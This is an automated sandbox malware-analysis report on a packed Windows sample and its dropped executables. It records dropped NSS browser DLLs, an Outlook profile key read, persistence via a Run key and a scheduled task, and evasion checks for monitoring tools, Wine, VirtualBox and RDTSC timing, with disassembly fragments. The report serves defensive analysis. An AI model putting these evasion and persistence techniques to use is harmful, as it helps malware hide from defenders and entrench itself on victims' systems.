Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1761792 > 1048576

Source: file.exe

Static PE information: Raw size of hugubvrh is bigger than: 0x100000 < 0x194400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.430000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hugubvrh:EW;zhjtfhxp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hugubvrh:EW;zhjtfhxp:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Unpacked PE file: 21.2.DocumentsKKEHIEBKJK.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.4c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.4c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.4c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bapykixb:EW;bvnfygjx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Unpacked PE file: 29.2.beda8cb96f.exe.540000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wqksuucf:EW;rqjjbrey:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wqksuucf:EW;rqjjbrey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Unpacked PE file: 30.2.7255bf1ad0.exe.580000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lqlzklut:EW;xcerlkvj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lqlzklut:EW;xcerlkvj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA63480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA63480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 741c6182cd.exe.28.dr	Static PE information: real checksum: 0x1b942e should be: 0x1338dd
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: real checksum: 0x1e06b4 should be: 0x1da32d
Source: file.exe	Static PE information: real checksum: 0x1b942e should be: 0x1b6b63
Source: random[1].exe.28.dr	Static PE information: real checksum: 0x1b942e should be: 0x1338dd
Source: random[2].exe.28.dr	Static PE information: real checksum: 0x1d13a0 should be: 0x1d8a71
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e06b4 should be: 0x1da32d
Source: random[1].exe0.28.dr	Static PE information: real checksum: 0x43cbd8 should be: 0x441542
Source: beda8cb96f.exe.28.dr	Static PE information: real checksum: 0x43cbd8 should be: 0x441542
Source: 7255bf1ad0.exe.28.dr	Static PE information: real checksum: 0x1d13a0 should be: 0x1d8a71
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1e06b4 should be: 0x1da32d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hugubvrh
Source: file.exe	Static PE information: section name: zhjtfhxp
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: bapykixb
Source: random[1].exe.0.dr	Static PE information: section name: bvnfygjx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name:
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name:
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: bapykixb
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: bvnfygjx
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: bapykixb
Source: skotes.exe.21.dr	Static PE information: section name: bvnfygjx
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: hugubvrh
Source: random[1].exe.28.dr	Static PE information: section name: zhjtfhxp
Source: random[1].exe.28.dr	Static PE information: section name: .taggant
Source: 741c6182cd.exe.28.dr	Static PE information: section name:
Source: 741c6182cd.exe.28.dr	Static PE information: section name: .idata
Source: 741c6182cd.exe.28.dr	Static PE information: section name:
Source: 741c6182cd.exe.28.dr	Static PE information: section name: hugubvrh
Source: 741c6182cd.exe.28.dr	Static PE information: section name: zhjtfhxp
Source: 741c6182cd.exe.28.dr	Static PE information: section name: .taggant
Source: random[1].exe0.28.dr	Static PE information: section name:
Source: random[1].exe0.28.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.28.dr	Static PE information: section name: .idata
Source: random[1].exe0.28.dr	Static PE information: section name:
Source: random[1].exe0.28.dr	Static PE information: section name: wqksuucf
Source: random[1].exe0.28.dr	Static PE information: section name: rqjjbrey
Source: random[1].exe0.28.dr	Static PE information: section name: .taggant
Source: beda8cb96f.exe.28.dr	Static PE information: section name:
Source: beda8cb96f.exe.28.dr	Static PE information: section name: .rsrc
Source: beda8cb96f.exe.28.dr	Static PE information: section name: .idata
Source: beda8cb96f.exe.28.dr	Static PE information: section name:
Source: beda8cb96f.exe.28.dr	Static PE information: section name: wqksuucf
Source: beda8cb96f.exe.28.dr	Static PE information: section name: rqjjbrey
Source: beda8cb96f.exe.28.dr	Static PE information: section name: .taggant
Source: random[2].exe.28.dr	Static PE information: section name:
Source: random[2].exe.28.dr	Static PE information: section name: .rsrc
Source: random[2].exe.28.dr	Static PE information: section name: .idata
Source: random[2].exe.28.dr	Static PE information: section name:
Source: random[2].exe.28.dr	Static PE information: section name: lqlzklut
Source: random[2].exe.28.dr	Static PE information: section name: xcerlkvj
Source: random[2].exe.28.dr	Static PE information: section name: .taggant
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name:
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: .rsrc
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: .idata
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name:
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: lqlzklut
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: xcerlkvj
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B536 push ecx; ret		0_2_6CA9B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004DD91C push ecx; ret		28_2_004DD92F

Source: file.exe	Static PE information: section name: hugubvrh entropy: 7.954740806478454
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.984776152500683
Source: random[1].exe.0.dr	Static PE information: section name: bapykixb entropy: 7.954464073208013
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: entropy: 7.984776152500683
Source: DocumentsKKEHIEBKJK.exe.0.dr	Static PE information: section name: bapykixb entropy: 7.954464073208013
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.984776152500683
Source: skotes.exe.21.dr	Static PE information: section name: bapykixb entropy: 7.954464073208013
Source: random[1].exe.28.dr	Static PE information: section name: hugubvrh entropy: 7.947204868514841
Source: 741c6182cd.exe.28.dr	Static PE information: section name: hugubvrh entropy: 7.947204868514841
Source: random[1].exe0.28.dr	Static PE information: section name: wqksuucf entropy: 7.954493625981397
Source: beda8cb96f.exe.28.dr	Static PE information: section name: wqksuucf entropy: 7.954493625981397
Source: random[2].exe.28.dr	Static PE information: section name: entropy: 7.972316147953844
Source: random[2].exe.28.dr	Static PE information: section name: lqlzklut entropy: 7.9547722027611725
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: entropy: 7.972316147953844
Source: 7255bf1ad0.exe.28.dr	Static PE information: section name: lqlzklut entropy: 7.9547722027611725

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKEHIEBKJK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKKEHIEBKJK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007456001\741c6182cd.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKEHIEBKJK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKEHIEBKJK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsKKEHIEBKJK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7255bf1ad0.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7255bf1ad0.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAC55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38E5 second address: 7E38EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38EF second address: 7E3912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 jnp 00007EFE30DC1B37h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFE30DC1B13h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3912 second address: 7E3916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE8C9 second address: 7EE8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B0Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE8DB second address: 7EE8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007EFE30C69F14h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEA35 second address: 7EEA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEA39 second address: 7EEA4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEBB1 second address: 7EEBBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEBBA second address: 7EEBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFE30C69F06h 0x0000000a pop ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F29B1 second address: 7F29EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007EFE30DC1B06h 0x00000009 jmp 00007EFE30DC1B12h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 jns 00007EFE30DC1B0Ch 0x0000001a push 00000000h 0x0000001c mov dh, cl 0x0000001e mov dx, FBABh 0x00000022 push A332F04Bh 0x00000027 push esi 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
